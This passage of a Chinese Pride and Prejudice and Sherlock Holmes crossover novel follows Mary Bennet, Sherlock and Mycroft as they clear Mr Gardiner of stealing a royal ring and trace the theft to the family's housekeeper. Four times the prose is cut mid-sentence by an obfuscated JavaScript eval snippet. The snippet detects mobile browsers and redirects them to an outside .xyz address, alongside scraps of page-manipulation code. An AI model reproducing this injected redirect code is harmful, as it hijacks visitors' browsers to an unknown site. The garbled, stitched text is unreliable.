玛丽在店里来回走着:“可是我已经查出了重大线索,难道伦敦还有什么警察能比我更聪明,能比我更快查出这一切么,你宁愿相信一群陌生的警察也不愿意相信我?!” 加德纳先生只是沉默。 玛丽愤怒的站在加德纳先生面前;“我明天要和你一起去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749126|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我倒要看看是什么人能比我更有资格调查这件事!” 加德纳先生也忍不住提高声音:“任何人!玛丽,任何人!任何一个男人都有资格!” 仿佛玩具被夺走的孩子,玛丽和加德纳先生回家的一路都显得气鼓鼓的。 回到家里的加德纳太太第一时间就带着玛丽回到楼上换衣服。 天哪,上帝知道加德纳太太今天一整天都在家里提心吊胆。 这简直比天塌下来也差不到哪里去了。 加德纳先生和加德纳太太说今天已经打听到了一位先生,那位私家侦探先生和苏格兰场合作过几次,经常接受一些奇怪的委托,并且要价不高,就住在威廉的楼上,是个非常聪明的人。 加德纳太太捂着胸口感谢上帝,她宁愿将那枚戒指一辈子藏在保险柜里,深埋在砖墙里,也不愿意让侄女穿上裤子跑出去。 玛丽换好了衣服坐在餐桌边,两个表妹都在看着气呼呼的表姐。 弗朗西丝和乔治娜坐在玛丽左手边,大一点的弗朗西斯看着玛丽:“玛丽表姐,你怎么了?你看上去很不高兴?” 玛丽看到加德纳舅舅走进餐厅,故意一字一顿的说到:“没错,我很不高兴!” 加德纳先生有些无奈也有些郁闷,或许也带着一点事对于玛丽胡闹的生气:“好了玛丽,这件事我都是为了你好,你也要为了的家人,为了你的姐妹想一想。这件事到此为止!” 加德纳太太也有些许埋怨,玛丽的行为或许也会影响到弗朗西斯和乔治娜的名声,她不能眼睁睁看着玛丽带累所有人。 玛丽更生气了,干脆起身离开了餐厅:“荒谬,太荒谬了!” 加德纳太太看着玛丽如此无礼的行为目瞪口呆,她看向加德纳先生,加德纳先生的脸色也有些难看。 玛丽回到房间,坐在床边却无可奈何,在这个大部分都是蠢人主宰的世道里,她被断绝了一切机会。 她无法去大学里读书,无法获取学位,无法得到一切对她知识的实质认可。 她无法在没有亲人陪伴的情况下单独购买车票船票,甚至她就连从朗伯恩到伦敦,都必须经由家里安排的马车。 她无法获得任何个人财产。 这个社会上唯一会雇佣女性的,只有两条途径,每天工作12个小时后获得10先令的工厂女工,以及流落街头的女支女或者说交际花。 保姆,家庭教师?这些都需要专业的教会学院推荐信,当然,这东西伪造起来非常容易,可是那些能够雇佣保姆和家庭教师的家庭可不会相信一张纸,她们会去调查。 玛丽瘫在床上看着天花板,她被堵死了每一条追寻自我的路。 她不知道如何在这个世界里寻找自己的定位 朗伯恩班纳特家的三女儿么?家里人并不能理解她。 可是如果不是班纳特家的女儿,她是谁?玛丽·班纳特?这只是一个没有意义的名字,任何人都可以叫这个名字。 周围没有任何可以理解她的亲人和朋友。 她或许很聪明,可是没人需要她这种聪明。 在他们眼里,女孩最好和简一样,温顺,要么就是和莉迪亚一样活泼,哪怕聪明伶俐,也就是和伊丽莎白一样,阅读过一些书,说一些俏皮话,这已经是他们对女儿对妻子对这个世界上女性的最高要求了。 玛丽读的书越多,获取的知识越多,反而越不明白,为什么上天要给她如此才智。 她快要被这个无处呼吸的世界给憋死了…… 在无法发泄的烦闷中,玛丽想到了今天遇到的人。 夏洛克。 他也会有如此称得上痛苦的时刻么? 或许不会吧,玛丽想着。 此时此刻,她仿佛在一搜随时会沉没的船只上,周围都是昏昏沉沉的牛羊,而她被锁链捆绑着四肢,只能眼睁睁看着牛羊驾驶着这艘随时可能沉没的船只,带着她在海上航行。 她无人可说,无处可去,无人理解。 8. 第 8 章 第二天醒来的玛丽已经给自己打包好了所有行李,如果不出意外,今天加德纳舅舅就会让人把她送回去。 果不其然,下楼到餐厅的时候加德纳舅舅开口第一句就是:“今天我会送你回朗伯恩,玛丽。” 此时此刻加德纳先生只能庆幸,因为害怕这个莫名出现在家里的戒指惹出什么祸端,他始终没有和什么外人说过,除了加德纳太太,也只有他的姐姐,以及姐夫班纳特先生说过。 这样一来就算是将玛丽叫来伦敦,也只是打着请侄女来玩一玩的名号,此时再将玛丽送回去,也不会有人议论什么。 没人会知道玛丽为何而来,那么就不会有人知道玛丽在伦敦做的这些事。 玛丽再次回到了沉默的状态,一言不发,刀叉在盘子里有一下没一下的戳着。 似乎这种沉默让加德纳舅舅于心不忍,看着玛丽提不起劲的样子加德纳先生再次开了口:“我早上会去拜访那位先生,听威廉说他是少有的聪明人,如果你愿意,你可以和我一同去。” 玛丽不想回答什么,少有的聪明人,哈。 餐桌上的加德纳太太和几个孩子都一言不发,特别是加德纳太太,看着玛丽的脸色都带着几分无奈了。 临出门前加德纳先生询问玛丽是否要一同前去,玛丽心里抱着一种当场与那位聪明人辩驳一番,狠狠给他点颜色看看的想法和加德纳先生一同上了马车。 外面的街景越来越眼熟,一直到马车停下,玛丽的表情变得有些微妙起来。 蒙塔古街 她昨天才来过这里。 加德纳舅舅率先下了车并敲响了大门。 还是昨天那个不耐烦的老先生:“找谁。” 加德纳先生微微点头:“我们找福尔摩斯先生,昨日我们送上过拜帖,今天早上他回信说上午有空接受我们的拜访。” 老先生翻了一个非常巨大的白眼,直接转身离开了。 加德纳先生从未被人如此无礼的对待,当然,除了昨晚的玛丽之外。 玛丽倒是直接走了进去:“上来吧,他住在三楼。” 加德纳舅舅更震惊了:“什么?你从哪里认识的这位福尔摩斯先生!玛丽,你才来伦敦几天!” 玛丽快步走上楼梯:“碰巧昨日我刚和这位夏洛克福尔摩斯先生见过面。” 加德纳先生还没来得及问出什么,玛丽已经敲响了门。 房门很快打开,夏洛克看到门口的玛丽也有些惊讶:“哦,班纳特小姐,你来早了。” 玛丽直接越过夏洛克走进屋子:“没有来早,福尔摩斯先生。” 加德纳先生站在门口:“冒昧前来打扰了福尔摩斯先生,鄙人爱德华·加德纳,这是我的侄女玛丽·班纳特,想必您已经看过我送来的信了,谢谢您愿意接受这份委托。” 夏洛克侧身让开,示意加德纳先生进来:“请进先生,哦,看起来昨天班纳特小姐是为了您的事情在奔波。” 加德纳先生低下头有些不好意思:“说来惭愧,遇到这件事我第一时间只能想到我的这位侄女,她是个少有的聪明人,曾经有一次帮助我避免了珠宝被掉包的损失,所以我委托她帮我来看一看,但是现如今显然不是她一位淑女能够做什么的时候了,所以我只能厚颜托付给您。” 玛丽到底还是带上了加德纳先生给过她的纸条:“废话不必多说福尔摩斯先生,根据我的调查,这位典当宝石戒指的很可能是那位遇害的威廉·哈里福德爵士的遗孀。” 夏洛克接过那张纸条:“哦,汉弗莱文具店出品。” 玛丽点点头:“是的,我昨日去过那边,确认是同一款。” 夏洛克点点头;“汉弗莱文具只在伦敦出售,这张纸……” 低头闻了闻纸张,又将纸张在光下仔细看了看:“没有褪色,没有晕染,香味淡了很多。是迷迭香,最近几个月的新货。” 玛丽起身走向厨房。 夏洛克看着纸张甚至没有回头:“茶具在左边的柜子里。” 加德纳先生坐在沙发上目瞪口呆。 玛丽迅速泡好了两杯茶,一杯放在加德纳先生的面前,一杯放在自己面前。 夏洛克终于放下了纸张;“有趣,这个案子我接了。” 玛丽:“她最近参加了什么宴会?” 夏洛克伸手:“这需要我去打听打听,戒指带来了么?” 加德纳先生这才如梦初醒一般:“哦,带来了带来了先生。您今早的回信中有提到,我特意带来了。” 夏洛克接过戒指:“你看过了么?” 玛丽点点头:“法国的手艺。” 夏洛克笑了起来:“哦,班纳特小姐,大错特错了。” 玛丽看向夏洛克等待着他的解答。 夏洛克将戒指递给玛丽:“看到戒托侧面了么。” 玛丽捏起戒指仔细查看,是一些花纹,但是这些花纹似乎也很常见。 夏洛克发现玛丽确实不懂这其中的窍门,忍不住微微抬起下巴笑了起来:“你没看出来。” 加德纳舅舅追问道:“是怎么了?这些花纹我也看到了,似乎是很常见的花纹。” 夏洛克摇摇头:“单独看当然是一些常见花纹,这也是一种隐秘的手段,请将戒指倾斜着看。” 玛丽按夏洛克的示意将戒指倾斜过来。 托起钻石的戒托呈花朵状,花朵的尾部衔接着戒圈,两个戒托在特定的角度中和戒圈上的花纹衔接起来。 “似乎是什么标记。” 夏洛克点点头:“奥地利皇室的标记,这是一个属于奥地利皇室某个人的戒指。” 加德纳先生噌的一下站了起来:“这样的戒指如何会莫名出现在我的家中!” 夏洛克坐在另一边,习惯性的双手搭在一起靠在下巴处:“有趣,着实有趣先生,这也是我好奇之处。” 两人正说着话,外面传来吵杂的声音,似乎有一大群人挤进了这栋建筑。 确实是一大群人,夏洛克的房门只是半掩着。 领头一个警官推门进来,一眼就看到了屋内的三人,夏洛克太年轻,玛丽是女性,那只剩下一个中年男人坐在沙发上。 警官:“爱德华·加德纳?!” 玛丽起身看向一群进来的警官。 加德纳先生有些奇怪,也有些紧张:“是的,我是爱德华·加德纳,请问有什么事么。” 警官看到了玛丽手中的戒指,一把拿了过去:“证据确凿,爱德华·加德纳,你被指控偷窃蓝钻石戒指,现在物证在此,怎么,等不及销赃了么!将他带走!” 几个警官伸手就要带走加德纳舅舅,玛丽站在加德纳舅舅身前:“你们从哪里来的,你们有什么证据!” 旁边拿起了戒指的小警员立刻举起了手里的戒指:“证据就在这里小姐,还有什么需要狡辩的么!我们有可靠的人证证明!” 夏洛克:“你们这是栽赃!” 警官们可不会听他的话,推搡着加德纳先生就要往外走。 玛丽紧跟在后面:“你们不能就这么带走他!” 夏洛克也跟在后面追着几人:“现在一切都还没有调查清楚,你们不能如此对待一个无辜的人!” 可是两人的辩驳不能改变什么,几个警员直接推着加德纳先生到了楼下。 加德纳先生一直在努力回头;“福尔摩斯先生,福尔摩斯先生,您一定要帮帮我,我是无辜的!” 到了楼下停靠的车子边上警员打开后面的门直接将加德纳先生推了进去,加德纳先生差点摔倒,慌乱中扶着边上的座位才稳住身子,两个警员也坐了进去堵在门口,车门砰的一声关上,隔着车门的小窗,加德纳先生还在呼唤夏洛克:“福尔摩斯先生,您知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749127|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是无辜的,我是无辜的,您一定要帮帮我!” 看到旁边的玛丽,加德纳先生又紧跟着说到:“玛丽,回去告诉舅妈,我是无辜的,让她一定不要担心。” 玛丽追着车子跑了几步,繁琐的裙子限制住了她的脚步,马车很快扬长而去。 夏洛克站在后面微微皱眉:“班纳特小姐,现在看来您舅舅的清白可就要靠我们了。” 玛丽愤怒的看向前方的车子,加德纳先生被警员拽了回去,小窗口已经什么都看不到了。 夏洛克不知道如何安慰这位小姐。 幸而玛丽很快调整了自己的情绪:“他们刚才说有可靠人证,不知道您是否有关系可以前往警局打探一番,这位证人是否知道些什么。我现在回去家里,舅妈恐怕还一无所知,我得回去安排一番。稍后我去哪里和您会面?” 夏洛克盘算了一下:“我稍后立刻去苏格兰场,您可以尽快前往苏格兰场与我回合,如果我有了其他消息,会让维金斯,哦对,就是我们这条街卖报纸的一个孩子,我会让他在苏格兰场等您。” 玛丽点点头转身离开。 回到家里的时候加德纳太太还一无所知,正在和两个儿子玩耍,弗朗西斯和乔安娜正在楼上。 看到玛丽孤身一人回来脸上还有些难看,加德纳太太还以为她在为了昨天的事情生气,心里也有些无奈:“玛丽,不要和你的舅舅生气,他也是为了你的名声着想” 玛丽摇摇头:“舅母,还请让艾德莱恩太太将孩子们带下去,我有一些话需要私下和您说。” 看着玛丽的样子加德纳太太不知道为什么心里有些害怕,让管家太太带走几个孩子之后玛丽带着加德纳太太去了二楼的书房。 关上房门后加德纳太太紧张的攥着手帕:“是怎么了,玛丽?发生了什么?是加德纳先生出了什么事?” 玛丽点点头:“那枚钻石戒指属于奥地利皇室,而今天早上,我和舅舅拜访了福尔摩斯先生的时候警员忽然上门,说有人证明是舅舅偷窃了这枚戒指。” 加德纳太太一下子就晕倒了过去。 玛丽连忙扶住她,高声呼唤女仆。 几人合力将她扶到卧室的床上躺着,管家太太找来了嗅盐,加德纳太太睁开眼的时候还带着一丝茫然,玛丽凑到旁边看着她:“舅母您还好么?” 加德纳太太紧紧地抓着玛丽的手:“加德纳先生,加德纳先生他!” 玛丽回握住她的双手:“您放心,我一定会找出真相,还给舅舅清白,那些警察显然是为了找一个替罪羊,舅母,此时此刻,你一定要相信我。” 加德纳太太的眼泪止都止不住,玛丽不知如何安慰,只能再次保证:“我会将舅舅带回家。” 让管家太太照顾好家里,玛丽也来不及换装就准备再次出门,没想到管家太太追了上来。 “玛丽小姐,是发生了什么事?这几天先生和夫人都心神不定,却不愿意说是遇见了什么事?现如今您又说加德纳先生成为了警方的替罪羊,是发生了什么?” 管家太太一脸的担忧,两只手紧紧地抓住腰间的绑带。 玛丽没时间多言只丢下一句照顾好舅母就往外跑去。 因为耽误时间太久事情发生什么未知的变化,玛丽直接叫了一辆马车前往苏格兰场。 马车飞驰,很快带着玛丽到达目的地。 从随身的手包里掏出车费塞到了车夫的手里,玛丽三步跨作两步跑进苏格兰场。 整个苏格兰场是一栋高达五层的建筑,外面是红色的砖墙,上面还悬挂着铭牌,沿街的窗户里时不时有一些路过的警员,大家都行色匆匆。 玛丽一眼就看到了人群中最高大的那个人。 那个男人背对着玛丽,但是玛丽还是一眼就看到了他。 是夏洛克的兄长,昨天那位麦考福特·福尔摩斯先生! 9. 第 9 章 麦考福特上午本来在白厅办公,忽然就被夏洛克的人找来了。 因为来人只说夏洛克在苏格兰场,无奈之下麦考福特只能放下手上的事情前来关照自家这个过于活泼的弟弟,走到门口,麦考福特又回到桌边,将手里最新得到的某个账本顺手带上。 ———————— 玛丽绕过几个警员和一看就是小偷的流浪儿跑向麦考福特:“福尔摩斯先生,您看到夏洛克了么?他说与我在苏格兰场会面,可是我并未看到他。” 麦考福特侧身低头看向旁边的玛丽,玛丽并不高,在几个姐妹中可以说是最矮小的一个,相比于旁边接近六英尺四英寸的男性更显得娇小。 此时这位在外人看来娇小的小姐昂起头,认真的盯着麦考福特。 麦考福特脸上还是那不变的笑容:“下午好小姐,我正巧在这里有一些熟人,或许我们很快就能找到他。” 几乎是话音刚落,就看到一个身着不同警服的中年男人绕过一群警员走了过来:“哦,麦考福特,许久不见。” 麦考福特伸手和警长握了握手打了个招呼:“许久不见,哈克先生,听说您的夫人最近为您生了个可爱的女儿,真是恭喜。” 这位叫哈克的警长笑了起来:“哦是的是的,那真是个可爱的孩子,有空可一定要来家里喝一杯酒,有几位先生一直想找机会拜访您。” 麦考福特松开手似乎有些无奈的样子:“您也知道,在下实在不擅长于交际。” 哈克只是笑了笑:“哦对了不知道您来这里是有什么事情?” 麦考福特这才不急不忙的说到:“听说我的弟弟在这里,不知道是发生了什么?” 玛丽也看向这位哈克先生,来人正是苏格兰场新接任的局长,他此时也是一头雾水:“哦?您的弟弟?还请您来我的办公室稍坐,我去问一问。” 麦考福特点点头,警长看向了旁边的玛丽:“小姐,请问您是来?” 玛丽看向麦考福特:“我们是一起的。” 麦考福特侧头微微看了一眼玛丽。 听到这句话这位哈克似乎有些震惊:“哦,麦考福特,我没想到您这么快就有了喜讯。” 玛丽这才反应过来这句话的歧义:“哦,不,不是的先生,我是夏洛克·福尔摩斯的朋友,我也是来这里找他的。” 哈克似乎有些尴尬:“原来如此,还请这位小姐一同前往办公室稍坐片刻。” 麦考福特走在前面:“那我就等您的消息了,哈克先生。” 玛丽跟在麦考福特身后来到了楼上的办公室。 这件办公室很空旷,除了窗边的办公桌之外,剩下都是一些靠墙的书柜,柜子里杂乱的塞满了各种文件。 玛丽看了一眼办公桌上喝到了一半的茶点,看来这位局长大人每天最大的消遣就是在办公室里喝喝茶看看报了。 麦考福特直接坐在了旁边的沙发上:“您尽可放心,班纳特小姐。” 玛丽原本打算坐下,听到这句话整个人停顿了一瞬间,然后再次坐下,只是刚才还在探查屋内的双眼转而开始探查起这位麦考福特先生。 深吸一口气,玛丽才缓缓开口:“如果我的记忆没有出错,福尔摩斯先生,我似乎并未和您说过自己的名字。” 麦考福特:“哦,是么,那或许是我记错了。” 玛丽微微眯起双眼:“您调查了我。” 麦考福特只是笑着:“班纳特小姐,夏洛克是我的幼弟,我当然十分……关心他。” 玛丽死死地盯着麦考福特,而麦考福特的表情丝毫不变。 确认了,这是一个对着弟弟的人际交往有着极度掌控欲的兄长。 两人就这样在无声对决中等待着,很快门外传来脚步声,夏洛克走在前面推开了门:“麦考夫,你来迟了。” 哈克跟在后面,顺手关上了房门:“哦,小福尔摩斯先生,您不能在警局和警察打架,如果不是麦考福特,您今天可不会这么顺利的出来。” 麦考福特微微挑眉:“哈克,方便的话,我有些话想要和我的弟弟聊一聊。” 哈克左看右看:“哦,当然,当然,请便。” 玛丽就这么坐着巍然不动。 麦考福特看了眼玛丽:“班纳特小姐?” 玛丽当着麦考福特的面甩给了他一个大大的白眼:“如果您想和夏洛克沟通感情,还请您稍稍控制您满溢的兄长之爱,现如今我的舅舅还在监狱里关着呢,您有什么话,可以留着圣诞节的时候在温暖的壁炉边烤着火一边等待圣诞老人一边和夏洛克闲聊。” 因为麦考福特对于自己的调查,玛丽几乎是极尽讽刺,说完转头看向夏洛克:“问出了什么?” 夏洛克几乎是微笑着看了眼难得受挫的麦考福特。 麦考福特并未生气,相比于小姑娘如此软弱无力的讽刺,他平日里听到的那些才是真正的尖酸刻薄, 相比之下班纳特小姐的讽刺都称得上有几分可爱了。 夏洛克:“我查看了一下卷宗,那位举报者说他有一位友人在梅里囤军团驻扎,而那位友人在乡村舞会中听到一位班纳特太太说自己的兄弟,也就是加德纳先生偶然得到了一枚奢华的蓝钻戒指,这本来是当做一个趣闻分享给了举报者,可是这位举报者却前些日子正巧参加了一次宴会,在宴会之后偶然听闻有位十分尊贵的客人丢失了蓝钻戒指。” 玛丽一下就站了起来:“她!她!真是蠢笨之极!” 无奈甚至大过了愤怒,是的,对于班纳特太太而言,她根本没想过这件事背后任何可能存在的问题。 她只会到处炫耀自己的兄弟得到了一枚奢华的戒指,如果有机会,说不定她会觉得自己也能带上这枚戒指参加几次舞会,得到别人嫉妒羡慕的眼神。 这对她来说就是天大的好事啦。 坏人绞尽脑汁的算计,可能都比不过蠢人的灵机一动。 但凡有什么人是真正的想要伤害加德纳先生,或许都不如班纳特太太随意炫耀得到的伤害大。 麦考福特根据相同的姓氏猜测这位班纳特夫人就是玛丽的母亲。 玛丽深吸一口气:“我假设,那枚钻石戒指正是这位尊贵客人的,可是我的舅舅根本没有机会参与那些宴会,他只是一个老实本分的商人,他这些日子的行程除了商铺就是家中,就算偶尔出门会客,也都是和其他一些商人朋友,据我所知,他的几位朋友中,并没有任何一个人有机会可以参加……” 话说到一半,玛丽停了下来:“不……或许,并不是参加……” 夏洛克仿佛成竹在胸一般开口说道:“是仆人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749128|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛丽对于贵族社交季或者其他的宴会了解并不多,但是她参与过乡村的舞会,有时候举办舞会的时候人手不够,会临时性的雇佣一些女仆和侍者。 这些女仆与侍者都是属于临时雇工,乡村舞会也不是没发生过仆人偷窃的事情。 难道贵族宴会的那些仆人就不会了么? 麦考福特敲了敲桌子:“如果我没记错,据我所知,在上周六的宴会上,客人丢失了钻戒,而第二天,这枚钻戒,就出现在了加德纳先生的家中。” 玛丽转头看向麦考福特:“威廉·哈里福德爵士的遗孀也在宴会上么?” 麦考福特点点头:“是的,那是一场……大型宴会。” 玛丽:“您也去了。” 这不是疑问,而是肯定句式。 麦考福特露出一丝笑容:“鄙人作为政府的小小职员有幸参与,倒是知晓一些消息。” 夏洛克:“得了,麦考福特,你知道我要问什么,是在哪位先生家里剧版的宴会?” 麦考福特:“埃塞克斯伯爵家。” 玛丽:“我假设,那场宴会,威廉·哈里福德爵士的遗孀,戒指的主人,还有某位将这一切连接在一起的中间人,都参加了这场宴会。” 麦考福特并未答话,倒是夏洛克说道:“这几日有一些花边小报提起过,雷利爵士和她夫人的消息。” 对于伦敦的那些贵族人际关系玛丽一无所知,这超出了她的知识范围,故而并未答话,只是静静地听着夏洛克的话。 夏洛克开始了自己的推理:“前几日的花边报纸卖的尤其好,维金斯和我说过,是因为有人看到雷利爵士和她夫人在上周六的凌晨结束宴会回去的路上,他们的马车发生了意外,两人下车的时候竟然就这样在街头大吵起来,而刚才在外面我和一位探长打听了一番,最近有什么特殊情况,他们提到过关于上头让他们察处某个报社。” 这听上去是一个很荒谬的消息,这些贵族老爷们向来讲究体面,这样的行为在他们看来,几乎是丢脸至极。 事后雷利爵士就多次安排苏格兰场去给那个花边小报找点麻烦,当然他可不会说的如此直白,但是玛丽也领会到夏洛克的言下之意。 夏洛克再次抛出一个新的消息“前些日子伦敦多了许多私设的赌场,而幕后之人正是这位雷利爵士。” 玛丽:“可是蓝宝石相比于蓝钻的价值而言,简直不值一提,这两个东西,不论偷窃哪个,都不会还回来才对啊?” 麦考福特忽然轻笑一声,说不上来为什么,玛丽只觉得耳朵有些痒,不太习惯这种莫名的感受,再次伸手摸了摸耳朵。 夏洛克看向自己的哥哥。 麦考福特从内侧口袋掏出了一本小而厚的册子:“我想你们会有兴趣看一看这个” 相比于更靠近门口的夏洛克,玛丽距离麦考福特更近一些,她直接一个跨步走到麦考福特身边从他手里结果账本。 账本的封面什么都没有写,第一页只有一个简略的地址。 夏洛克站在玛丽的身边,两人正翻着账本,麦考福特再次开口:“47页。” 玛丽迅速翻着账本,每一页的右下角都写着数字,很快翻到第47页。 5月7日:艾伦·艾德莱恩借贷:200英镑。利率130% 10. 第 10 章 玛丽知道加德纳家的管家太太正是姓艾德莱恩。 全名叫做格蕾丝·艾德莱恩。 管家太太在加德纳家已经做了很多年,加德纳舅舅婚后经人介绍,招聘了这位太太。 据说因为婚后不到半年丈夫就发生了意外身亡,因为没有什么财产只能出来找活做。 而如今这位艾伦·艾德莱恩显然和管家太太有一些关系。 账本的下一行就是结账。 日期:7月21日, 还账:蓝宝石戒指一枚。 蓝宝石戒指一枚 看来丢失的蓝宝石戒指找到了。 可是为什么会变成蓝钻石呢? 玛丽盯着那一行字,似乎想要从中看出什么花样。 夏洛克走到一边:“你早就知道了,麦考福特!” 听闻此言玛丽将视线从账本挪到了麦考福特身上。 麦考福特微微一笑:“这很简单,夏洛克,一些小小的观察。” 现如今所有的线索都已经摆在了玛丽的面前,玛丽做出了自己的推测,可是还有一个疑问。 他是如何将蓝宝石,变成蓝钻的。 麦考福特先生起身从玛丽的手里拿回账本:“看来有一些话您需要和那位艾德莱恩太太聊一聊。” 几人走出办公室,麦考福特走在前面,夏洛克和玛丽紧随其后。 三人走出苏格兰场的时候车夫托马已经在门口等待了。 看到麦考福特走出苏格兰场,车夫沉默的打开了车门,麦考福特倒是没有上车,而是站在一边伸出了臂膀:“女士优先。” 玛丽没有说什么,根本没搭理麦考福特伸出的臂膀,自己爬上了马车。 作为麦考福特的私人马车,平日里很少有这么拥挤的时刻。 玛丽坐在其中一侧,夏洛克直接越过麦考福特走进车厢和玛丽呈斜对角坐着。 麦考福特现在只能二选一,要么坐在玛丽的旁边,要么坐在玛丽的对面。 他只能选择夏洛克身边的位置。 这显然是夏洛克对他小小的挑衅。 麦考福特会心一笑,并未多说什么。 上了车,还没等玛丽说话,麦考福特已经说出了地址,玛丽再次眯起双眼盯着麦考福特。 他就是调查过了! 麦考福特想起了女王的爱宠,一只喜欢躲在角落里盯着他的猫咪,偶尔趁着女王不注意,还会偷偷的冲他哈气。 甚至有几次在他觐见女王时偷偷跑到他的身边用脚踹他,倒是十分有趣。 玛丽的动作和那只猫咪一模一样,自以为充满威胁,实际上有意思极了。 麦考福特依然是那一副永远不会有什么变化的笑容,玛丽毫不怀疑有朝一日这位福尔摩斯先生会带着这样的笑容躺进棺材里。 很快马车就停了下来,目的地到了。 麦考福特这次率先下车,夏洛克太幼稚了,自以为不着痕迹的挤他几次就可以大仇得报一样。 站在车边,麦考福特站在门边,依然是伸手。 玛丽这次扶着麦考福特的手下了车,只是捏着他小臂的手故意用力了几分。 麦考福特差点没忍住笑出来,如果说夏洛克幼稚的如同七岁的孩子,那这位玛丽小姐恐怕只有五岁。 毕竟攻击力比夏洛克还要微弱一些。 狠狠掐了一把装模作样的麦考福特先生,玛丽大仇得报。 加德纳府邸大门紧闭,玛丽上前敲门,开门的是一个女仆。 玛丽:“艾德莱恩太太在么?” 一边说这话,一边向屋内走去,夏洛克和麦考福特跟在身后,很快艾德莱恩太太走下楼来。 看到玛丽的时候艾德莱恩太太还有些慌乱。 玛丽:“说说吧,艾德莱恩太太,您还有什么好狡辩的。” 艾德莱恩太太十分紧张,夏洛克走到玛丽旁边:“艾伦·艾德莱恩先生是您的什么人?丈夫,还是兄弟?” 听到这个名字,艾德莱恩太太似乎整个人都被吓住了,直接跌坐在了地上。 旁边的女仆都不敢讲话,加德纳太太在女仆的搀扶下走下楼来。 玛丽扶着舅母坐在一边的沙发上。 艾德莱恩太太受不了压力,痛哭出声:“抱歉 ,夫人,真的抱歉,我也没想到会发生这样的事情。” 玛丽打断了艾德莱恩太太的痛哭:“如果真的感到抱歉,你就应该将一切真相说出来,你是如何偷窃珠宝,以及和这位艾德莱恩先生掉包珠宝的。你们的目的是什么!” 艾德莱恩太太知道自己跑不掉了,只能磕磕巴巴的将事情说了出来,艾德莱恩并不是她丈夫的姓氏,而是她母亲的姓氏,早年她婚后原本有过一段幸福的日子,直到她的丈夫染上了赌瘾,甚至不只是自己烂赌,还带坏了她的表兄艾伦·艾德莱恩先生。 婚后不到一年,丈夫因为烂赌欠下了巨大的赌债,根本无力偿还,竟然就这么跑了,丢下了艾德莱恩太太一个人面对这一切。 艾德莱恩太太根本没办法偿还那么多的钱,这时候有些门路的表兄艾德莱恩先生帮她伪造了一份身份证明,她跑到伦敦之后先是找了女仆的活计,后面因为干活麻利而且为人老实被介绍给加德纳家当女仆,这些年逐渐成为了家里的管家太太。 她和艾德莱恩先生这些年也有些书信往来,但是并没怎么见过面,直到上个月她偶然在伦敦遇到了表兄。 艾德莱恩先生在伦敦的白教堂区做一些脏活,这些年他一直在断断续续的赌博,上个月一开始遇到艾德莱恩太太的时候并没有说什么,只是说了一些童年往事。 直到上上周,也就是那位女仆来典当珠宝的那天。 那天艾德莱恩太太原本请了一天假想要去和表兄见一面,希望他尽早退出帮派,找一份正经活计干一干。 没想到艾德莱恩先生和她哭诉自己欠下了一大笔钱,如果不尽快还上这笔赌债,那群人一定会将他丢进泰晤士河。 他说的是如此凄惨,如此恐慌,艾德莱恩太太听到他欠下的数字都不敢置信,可是她只是一个小小的管家,哪怕将她的骨头都榨干,也挤不出多少油水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749129|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾德莱恩先生知道她在一个珠宝商人家里工作,坚信商人家里一定是有一些珠宝的,只要艾德莱恩太太愿意帮忙偷出一个小小的首饰,他用作还债,之后他会想办法将此物再次偷回来,艾德莱恩太太将东西放回去,这样他的赌债也还了,艾德莱恩太太也不会丢掉工作,神不知鬼不觉。 一切都想象的如此完美。 艾德莱恩太太无法眼睁睁的看着曾经帮助过自己的表兄死去,可是她也知道,加德纳先生家里实际上不会放那些名贵珠宝,哪怕是加德纳太太的首饰,也并不都是昂贵的。 在回家的途中她偶然碰见了几个小混混在骚扰一个女仆,基于同情她上前帮助了那位女仆。 而那个女仆正是来典当蓝宝石戒指的人,女仆因为不常出门,向加德纳太太打听可以典当的珠宝店时展示过蓝宝石戒指。 艾德莱恩太太忽然想起,下个月正是加德纳太太的生日,她之前偶然听见加德纳先生说想要给加德纳太太准备生日礼物。 